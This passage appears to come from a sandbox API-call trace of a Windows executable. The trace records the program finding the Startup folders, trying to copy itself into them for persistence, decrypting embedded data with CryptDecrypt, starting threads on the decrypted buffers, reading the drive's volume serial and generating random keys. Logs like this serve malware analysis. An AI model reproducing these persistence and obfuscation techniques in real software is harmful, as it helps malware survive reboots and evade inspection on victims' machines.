lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xaff8fc | out: phkResult=0xaff8fc*=0x220) returned 0x0 [0156.050] RegQueryValueExW (in: hKey=0x220, lpValueName="Startup", lpReserved=0x0, lpType=0xaff8f8, lpData=0x6f11f8, lpcbData=0xaff900*=0x1e2 | out: lpType=0xaff8f8*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0xaff900*=0x98) returned 0x0 [0156.050] RegCloseKey (hKey=0x220) returned 0x0 [0156.050] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4eb0 | out: hHeap=0x6f0000) returned 1 [0156.050] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1e) returned 0x6f4eb0 [0156.050] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xaff8fc | out: phkResult=0xaff8fc*=0x220) returned 0x0 [0156.050] RegQueryValueExW (in: hKey=0x220, lpValueName="Common Startup", lpReserved=0x0, lpType=0xaff8f8, lpData=0x6f1290, lpcbData=0xaff900*=0x14a | out: lpType=0xaff8f8*=0x0, lpData=0x6f1290*=0x73, lpcbData=0xaff900*=0x14a) returned 0x2 [0156.050] RegCloseKey (hKey=0x220) returned 0x0 [0156.050] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xaff910 | out: phkResult=0xaff910*=0x220) returned 0x0 [0156.050] RegQueryValueExW (in: hKey=0x220, lpValueName="Common Startup", lpReserved=0x0, lpType=0xaff90c, lpData=0x6f1290, lpcbData=0xaff914*=0x14a | out: lpType=0xaff90c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0xaff914*=0x78) returned 0x0 [0156.050] RegCloseKey (hKey=0x220) returned 0x0 [0156.050] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4eb0 | out: hHeap=0x6f0000) returned 1 [0156.050] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f13e8 | out: hHeap=0x6f0000) returned 1 [0156.050] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0x6f1008, nSize=0xf1 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x8b [0156.050] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f11f8 | out: hHeap=0x6f0000) returned 1 [0156.050] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4f58 | out: hHeap=0x6f0000) returned 1 [0156.050] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20a) returned 0x6f11f8 [0156.050] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20a) returned 0x6f4f58 [0156.051] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20a) returned 0x6f5170 [0156.051] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20a) returned 0x6f5388 [0156.051] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6f11f8, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\ph_exec.exe1.exe")) returned 0x2e [0156.051] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20a) returned 0x6f55a0 [0156.051] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6f55a0, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\ph_exec.exe1.exe")) returned 0x2e [0156.051] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f55a0 | out: hHeap=0x6f0000) returned 1 [0156.051] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20a) returned 0x6f55a0 [0156.051] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6f55a0, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\ph_exec.exe1.exe")) returned 0x2e [0156.051] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f55a0 | out: hHeap=0x6f0000) returned 1 [0156.051] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\ph_exec.exe1.exe"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\ph_exec.exe1.exe"), bFailIfExists=0) returned 0 [0156.054] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x118) returned 0x6f1410 [0156.054] GetLastError () returned 0x20 [0156.054] SetLastError (dwErrCode=0x20) [0156.054] GetLastError () returned 0x20 [0156.054] SetLastError (dwErrCode=0x20) [0156.055] GetLastError () returned 0x20 [0156.055] SetLastError (dwErrCode=0x20) [0156.055] GetLastError () returned 0x20 [0156.055] SetLastError (dwErrCode=0x20) [0156.055] GetLastError () returned 0x20 [0156.055] SetLastError (dwErrCode=0x20) [0156.055] GetLastError () returned 0x20 [0156.055] SetLastError (dwErrCode=0x20) [0156.055] GetLastError () returned 0x20 [0156.055] SetLastError (dwErrCode=0x20) [0156.055] GetLastError () returned 0x20 [0156.055] SetLastError (dwErrCode=0x20) [0156.055] GetLastError () returned 0x20 [0156.055] SetLastError (dwErrCode=0x20) [0156.055] GetLastError () returned 0x20 [0156.055] SetLastError (dwErrCode=0x20) [0156.055] GetLastError () returned 0x20 [0156.055] SetLastError (dwErrCode=0x20) [0156.055] GetLastError () returned 0x20 [0156.055] SetLastError (dwErrCode=0x20) [0156.055] GetLastError () returned 0x20 [0156.055] SetLastError (dwErrCode=0x20) [0156.056] GetLastError () returned 0x20 [0156.056] SetLastError (dwErrCode=0x20) [0156.056] GetLastError () returned 0x20 [0156.056] SetLastError (dwErrCode=0x20) [0156.056] GetLastError () returned 0x20 [0156.056] SetLastError (dwErrCode=0x20) [0156.056] GetLastError () returned 0x20 [0156.056] SetLastError (dwErrCode=0x20) [0156.056] GetLastError () returned 0x20 [0156.056] SetLastError (dwErrCode=0x20) [0156.056] GetLastError () returned 0x20 [0156.056] SetLastError (dwErrCode=0x20) [0156.056] GetLastError () returned 0x20 [0156.056] SetLastError (dwErrCode=0x20) [0156.056] GetLastError () returned 0x20 [0156.056] SetLastError (dwErrCode=0x20) [0156.056] GetLastError () returned 0x20 [0156.056] SetLastError (dwErrCode=0x20) [0156.056] GetLastError () returned 0x20 [0156.056] SetLastError (dwErrCode=0x20) [0156.056] GetLastError () returned 0x20 [0156.056] SetLastError (dwErrCode=0x20) [0156.057] GetLastError () returned 0x20 [0156.057] SetLastError (dwErrCode=0x20) [0156.057] GetLastError () returned 0x20 [0156.057] SetLastError (dwErrCode=0x20) [0156.057] GetLastError () returned 0x20 [0156.057] SetLastError (dwErrCode=0x20) [0156.057] GetLastError () returned 0x20 [0156.057] SetLastError (dwErrCode=0x20) [0156.057] GetLastError () returned 0x20 [0156.057] SetLastError (dwErrCode=0x20) [0156.057] GetLastError () returned 0x20 [0156.057] SetLastError (dwErrCode=0x20) [0156.057] GetLastError () returned 0x20 [0156.057] SetLastError (dwErrCode=0x20) [0156.057] GetLastError () returned 0x20 [0156.057] SetLastError (dwErrCode=0x20) [0156.057] GetLastError () returned 0x20 [0156.057] SetLastError (dwErrCode=0x20) [0156.057] GetLastError () returned 0x20 [0156.057] SetLastError (dwErrCode=0x20) [0156.057] GetLastError () returned 0x20 [0156.057] SetLastError (dwErrCode=0x20) [0156.058] GetLastError () returned 0x20 [0156.058] SetLastError (dwErrCode=0x20) [0156.058] GetLastError () returned 0x20 [0156.058] SetLastError (dwErrCode=0x20) [0156.058] GetLastError () returned 0x20 [0156.058] SetLastError (dwErrCode=0x20) [0156.058] GetLastError () returned 0x20 [0156.058] SetLastError (dwErrCode=0x20) [0156.058] GetLastError () returned 0x20 [0156.058] SetLastError (dwErrCode=0x20) [0156.058] GetLastError () returned 0x20 [0156.058] SetLastError (dwErrCode=0x20) [0156.058] GetLastError () returned 0x20 [0156.058] SetLastError (dwErrCode=0x20) [0156.058] GetLastError () returned 0x20 [0156.058] SetLastError (dwErrCode=0x20) [0156.058] GetLastError () returned 0x20 [0156.058] SetLastError (dwErrCode=0x20) [0156.058] GetLastError () returned 0x20 [0156.058] SetLastError (dwErrCode=0x20) [0156.058] GetLastError () returned 0x20 [0156.059] SetLastError (dwErrCode=0x20) [0156.059] GetLastError () returned 0x20 [0156.059] SetLastError (dwErrCode=0x20) [0156.059] GetLastError () returned 0x20 [0156.059] SetLastError (dwErrCode=0x20) [0156.059] GetLastError () returned 0x20 [0156.059] SetLastError (dwErrCode=0x20) [0156.059] GetLastError () returned 0x20 [0156.059] SetLastError (dwErrCode=0x20) [0156.059] GetLastError () returned 0x20 [0156.059] SetLastError (dwErrCode=0x20) [0156.059] GetLastError () returned 0x20 [0156.059] SetLastError (dwErrCode=0x20) [0156.059] GetLastError () returned 0x20 [0156.059] SetLastError (dwErrCode=0x20) [0156.059] GetLastError () returned 0x20 [0156.059] SetLastError (dwErrCode=0x20) [0156.059] GetLastError () returned 0x20 [0156.059] SetLastError (dwErrCode=0x20) [0156.059] GetLastError () returned 0x20 [0156.059] SetLastError (dwErrCode=0x20) [0156.059] GetLastError () returned 0x20 [0156.060] SetLastError (dwErrCode=0x20) [0156.060] GetLastError () returned 0x20 [0156.060] SetLastError (dwErrCode=0x20) [0156.060] GetLastError () returned 0x20 [0156.060] SetLastError (dwErrCode=0x20) [0156.060] GetLastError () returned 0x20 [0156.060] SetLastError (dwErrCode=0x20) [0156.060] GetLastError () returned 0x20 [0156.060] SetLastError (dwErrCode=0x20) [0156.060] GetLastError () returned 0x20 [0156.060] SetLastError (dwErrCode=0x20) [0156.060] GetLastError () returned 0x20 [0156.060] SetLastError (dwErrCode=0x20) [0156.060] GetLastError () returned 0x20 [0156.060] SetLastError (dwErrCode=0x20) [0156.060] GetLastError () returned 0x20 [0156.060] SetLastError (dwErrCode=0x20) [0156.061] GetLastError () returned 0x20 [0156.061] SetLastError (dwErrCode=0x20) [0156.061] GetLastError () returned 0x20 [0156.061] SetLastError (dwErrCode=0x20) [0156.061] GetLastError () returned 0x20 [0156.061] SetLastError (dwErrCode=0x20) [0156.061] GetLastError () returned 0x20 [0156.061] SetLastError (dwErrCode=0x20) [0156.061] GetLastError () returned 0x20 [0156.061] SetLastError (dwErrCode=0x20) [0156.061] GetLastError () returned 0x20 [0156.061] SetLastError (dwErrCode=0x20) [0156.061] GetLastError () returned 0x20 [0156.061] SetLastError (dwErrCode=0x20) [0156.061] GetLastError () returned 0x20 [0156.061] SetLastError (dwErrCode=0x20) [0156.061] GetLastError () returned 0x20 [0156.062] SetLastError (dwErrCode=0x20) [0156.062] GetLastError () returned 0x20 [0156.062] SetLastError (dwErrCode=0x20) [0156.062] GetLastError () returned 0x20 [0156.062] SetLastError (dwErrCode=0x20) [0156.062] GetLastError () returned 0x20 [0156.062] SetLastError (dwErrCode=0x20) [0156.062] GetLastError () returned 0x20 [0156.062] SetLastError (dwErrCode=0x20) [0156.062] GetLastError () returned 0x20 [0156.062] SetLastError (dwErrCode=0x20) [0156.062] GetLastError () returned 0x20 [0156.062] SetLastError (dwErrCode=0x20) [0156.062] GetLastError () returned 0x20 [0156.062] SetLastError (dwErrCode=0x20) [0156.062] GetLastError () returned 0x20 [0156.062] SetLastError (dwErrCode=0x20) [0156.062] GetLastError () returned 0x20 [0156.062] SetLastError (dwErrCode=0x20) [0156.062] GetLastError () returned 0x20 [0156.062] SetLastError (dwErrCode=0x20) [0156.062] GetLastError () returned 0x20 [0156.063] SetLastError (dwErrCode=0x20) [0156.063] GetLastError () returned 0x20 [0156.063] SetLastError (dwErrCode=0x20) [0156.063] GetLastError () returned 0x20 [0156.063] SetLastError (dwErrCode=0x20) [0156.063] GetLastError () returned 0x20 [0156.063] SetLastError (dwErrCode=0x20) [0156.063] GetLastError () returned 0x20 [0156.063] SetLastError (dwErrCode=0x20) [0156.063] GetLastError () returned 0x20 [0156.063] SetLastError (dwErrCode=0x20) [0156.063] GetLastError () returned 0x20 [0156.063] SetLastError (dwErrCode=0x20) [0156.063] GetLastError () returned 0x20 [0156.063] SetLastError (dwErrCode=0x20) [0156.063] GetLastError () returned 0x20 [0156.063] SetLastError (dwErrCode=0x20) [0156.063] GetLastError () returned 0x20 [0156.063] SetLastError (dwErrCode=0x20) [0156.063] GetLastError () returned 0x20 [0156.063] SetLastError (dwErrCode=0x20) [0156.063] GetLastError () returned 0x20 [0156.064] SetLastError (dwErrCode=0x20) [0156.064] GetLastError () returned 0x20 [0156.064] SetLastError (dwErrCode=0x20) [0156.064] GetLastError () returned 0x20 [0156.064] SetLastError (dwErrCode=0x20) [0156.064] GetLastError () returned 0x20 [0156.064] SetLastError (dwErrCode=0x20) [0156.064] GetLastError () returned 0x20 [0156.064] SetLastError (dwErrCode=0x20) [0156.064] GetLastError () returned 0x20 [0156.064] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\ph_exec.exe1.exe"), lpNewFileName="c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe1.exe"), bFailIfExists=1) returned 0 [0156.065] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\ph_exec.exe1.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe1.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe1.exe"), bFailIfExists=1) returned 0 [0156.066] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1410 | out: hHeap=0x6f0000) returned 1 [0156.066] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f11f8 | out: hHeap=0x6f0000) returned 1 [0156.066] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4f58 | out: hHeap=0x6f0000) returned 1 [0156.066] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f5170 | out: hHeap=0x6f0000) returned 1 [0156.066] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f5388 | out: hHeap=0x6f0000) returned 1 [0156.066] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4e48 | out: hHeap=0x6f0000) returned 1 [0156.066] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4ed8 | out: hHeap=0x6f0000) returned 1 [0156.066] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1008 | out: hHeap=0x6f0000) returned 1 [0156.066] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0xc0) returned 0x6f1008 [0156.066] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff9a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaffa0c | out: phKey=0xaffa0c*=0x1b9208) returned 1 [0156.066] CryptSetKeyParam (hKey=0x1b9208, dwParam=0x1, pbData=0xaff9f4, dwFlags=0x0) returned 1 [0156.067] CryptDecrypt (in: hKey=0x1b9208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1008, pdwDataLen=0xaff9c0 | out: pbData=0x6f1008, pdwDataLen=0xaff9c0) returned 1 [0156.067] CryptDestroyKey (hKey=0x1b9208) returned 1 [0156.067] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0xbd) returned 0x6f10d0 [0156.067] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xc43033, lpParameter=0x6f10d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x220 [0156.067] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x0) returned 0x102 [0156.067] CloseHandle (hObject=0x220) returned 1 [0156.067] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1008 | out: hHeap=0x6f0000) returned 1 [0156.067] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x60) returned 0x6f1008 [0156.067] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff9b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaffa18 | out: phKey=0xaffa18*=0x1b9208) returned 1 [0156.067] CryptSetKeyParam (hKey=0x1b9208, dwParam=0x1, pbData=0xaffa00, dwFlags=0x0) returned 1 [0156.067] CryptDecrypt (in: hKey=0x1b9208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1008, pdwDataLen=0xaff9cc | out: pbData=0x6f1008, pdwDataLen=0xaff9cc) returned 1 [0156.067] CryptDestroyKey (hKey=0x1b9208) returned 1 [0156.067] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x5c) returned 0x6f1198 [0156.067] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xc43033, lpParameter=0x6f1198, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x220 [0156.068] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x1388) returned 0x102 [0161.239] CloseHandle (hObject=0x220) returned 1 [0161.239] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1008 | out: hHeap=0x6f0000) returned 1 [0161.239] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20) returned 0x6f1008 [0161.240] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff97c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff9e4 | out: phKey=0xaff9e4*=0x1b8e88) returned 1 [0161.240] CryptSetKeyParam (hKey=0x1b8e88, dwParam=0x1, pbData=0xaff9cc, dwFlags=0x0) returned 1 [0161.240] CryptDecrypt (in: hKey=0x1b8e88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1008, pdwDataLen=0xaff998 | out: pbData=0x6f1008, pdwDataLen=0xaff998) returned 1 [0161.240] CryptDestroyKey (hKey=0x1b8e88) returned 1 [0161.240] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1e) returned 0x6f1030 [0161.240] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x1e) returned 0x6f1058 [0161.240] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6f12b0 [0161.240] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff954, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff9bc | out: phKey=0xaff9bc*=0x1b8e88) returned 1 [0161.240] CryptSetKeyParam (hKey=0x1b8e88, dwParam=0x1, pbData=0xaff9a4, dwFlags=0x0) returned 1 [0161.240] CryptDecrypt (in: hKey=0x1b8e88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f12b0, pdwDataLen=0xaff970 | out: pbData=0x6f12b0, pdwDataLen=0xaff970) returned 1 [0161.240] CryptDestroyKey (hKey=0x1b8e88) returned 1 [0161.240] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f12b0 | out: hHeap=0x6f0000) returned 1 [0161.240] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f1030, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0161.240] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1058 | out: hHeap=0x6f0000) returned 1 [0161.240] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1008 | out: hHeap=0x6f0000) returned 1 [0161.240] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xaffa24, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xaffa24*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0161.240] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1030 | out: hHeap=0x6f0000) returned 1 [0161.240] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x28) returned 0x6f1008 [0161.240] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10) returned 0x6f1038 [0161.240] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff88c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff8f4 | out: phKey=0xaff8f4*=0x1b9208) returned 1 [0161.240] CryptSetKeyParam (hKey=0x1b9208, dwParam=0x1, pbData=0xaff8dc, dwFlags=0x0) returned 1 [0161.240] CryptDecrypt (in: hKey=0x1b9208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1038, pdwDataLen=0xaff8a8 | out: pbData=0x6f1038, pdwDataLen=0xaff8a8) returned 1 [0161.240] CryptDestroyKey (hKey=0x1b9208) returned 1 [0161.240] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10) returned 0x6f1050 [0161.241] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff884, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff8ec | out: phKey=0xaff8ec*=0x1b94c8) returned 1 [0161.241] CryptSetKeyParam (hKey=0x1b94c8, dwParam=0x1, pbData=0xaff8d4, dwFlags=0x0) returned 1 [0161.241] CryptDecrypt (in: hKey=0x1b94c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1050, pdwDataLen=0xaff8a0 | out: pbData=0x6f1050, pdwDataLen=0xaff8a0) returned 1 [0161.241] CryptDestroyKey (hKey=0x1b94c8) returned 1 [0161.241] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10) returned 0x6f1068 [0161.241] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff87c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff8e4 | out: phKey=0xaff8e4*=0x1b90c8) returned 1 [0161.241] CryptSetKeyParam (hKey=0x1b90c8, dwParam=0x1, pbData=0xaff8cc, dwFlags=0x0) returned 1 [0161.241] CryptDecrypt (in: hKey=0x1b90c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1068, pdwDataLen=0xaff898 | out: pbData=0x6f1068, pdwDataLen=0xaff898) returned 1 [0161.241] CryptDestroyKey (hKey=0x1b90c8) returned 1 [0161.241] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10) returned 0x6f1080 [0161.241] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff874, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff8dc | out: phKey=0xaff8dc*=0x1b94c8) returned 1 [0161.241] CryptSetKeyParam (hKey=0x1b94c8, dwParam=0x1, pbData=0xaff8c4, dwFlags=0x0) returned 1 [0161.241] CryptDecrypt (in: hKey=0x1b94c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1080, pdwDataLen=0xaff890 | out: pbData=0x6f1080, pdwDataLen=0xaff890) returned 1 [0161.241] CryptDestroyKey (hKey=0x1b94c8) returned 1 [0161.241] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6f12b0 [0161.241] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff86c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff8d4 | out: phKey=0xaff8d4*=0x1b90c8) returned 1 [0161.241] CryptSetKeyParam (hKey=0x1b90c8, dwParam=0x1, pbData=0xaff8bc, dwFlags=0x0) returned 1 [0161.241] CryptDecrypt (in: hKey=0x1b90c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f12b0, pdwDataLen=0xaff888 | out: pbData=0x6f12b0, pdwDataLen=0xaff888) returned 1 [0161.241] CryptDestroyKey (hKey=0x1b90c8) returned 1 [0161.241] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10) returned 0x6f1098 [0161.241] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff864, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff8cc | out: phKey=0xaff8cc*=0x1b8f88) returned 1 [0161.241] CryptSetKeyParam (hKey=0x1b8f88, dwParam=0x1, pbData=0xaff8b4, dwFlags=0x0) returned 1 [0161.241] CryptDecrypt (in: hKey=0x1b8f88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1098, pdwDataLen=0xaff880 | out: pbData=0x6f1098, pdwDataLen=0xaff880) returned 1 [0161.241] CryptDestroyKey (hKey=0x1b8f88) returned 1 [0161.241] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x70) returned 0x6f1348 [0161.241] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff85c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff8c4 | out: phKey=0xaff8c4*=0x1b90c8) returned 1 [0161.241] CryptSetKeyParam (hKey=0x1b90c8, dwParam=0x1, pbData=0xaff8ac, dwFlags=0x0) returned 1 [0161.241] CryptDecrypt (in: hKey=0x1b90c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1348, pdwDataLen=0xaff878 | out: pbData=0x6f1348, pdwDataLen=0xaff878) returned 1 [0161.241] CryptDestroyKey (hKey=0x1b90c8) returned 1 [0161.241] htonl (hostlong=0xb4197730) returned 0x307719b4 [0161.242] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x20, pbBuffer=0xaff9b8 | out: pbBuffer=0xaff9b8) returned 1 [0161.242] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x28) returned 0x6f13c0 [0161.242] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10) returned 0x6f10b0 [0161.242] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x4) returned 0x6f13f0 [0161.242] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x14) returned 0x6f1400 [0161.242] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10) returned 0x6f1420 [0161.242] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x80) returned 0x6f1438 [0161.242] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10) returned 0x6f14c0 [0161.242] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x82) returned 0x6f4e48 [0161.242] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10) returned 0x6f14d8 [0161.242] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x4) returned 0x6f14f0 [0161.242] CryptAcquireContextW (in: phProv=0xc4fcf4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xc4fcf4*=0x1b1d18) returned 1 [0161.247] CryptGenRandom (in: hProv=0x1b1d18, dwLen=0x55, pbBuffer=0xaff922 | out: pbBuffer=0xaff922) returned 1 [0161.247] GetLastError () returned 0x0 [0161.248] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff854, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff8bc | out: phKey=0xaff8bc*=0x1b8e88) returned 1 [0161.248] CryptSetKeyParam (hKey=0x1b8e88, dwParam=0x1, pbData=0xaff8a4, dwFlags=0x0) returned 1 [0161.248] CryptDecrypt (in: hKey=0x1b8e88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f8708, pdwDataLen=0xaff870 | out: pbData=0x6f8708, pdwDataLen=0xaff870) returned 1 [0161.248] CryptDestroyKey (hKey=0x1b8e88) returned 1 [0161.248] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10) returned 0x6f82c0 [0161.248] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff84c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff8b4 | out: phKey=0xaff8b4*=0x1b8e88) returned 1 [0161.249] CryptSetKeyParam (hKey=0x1b8e88, dwParam=0x1, pbData=0xaff89c, dwFlags=0x0) returned 1 [0161.249] 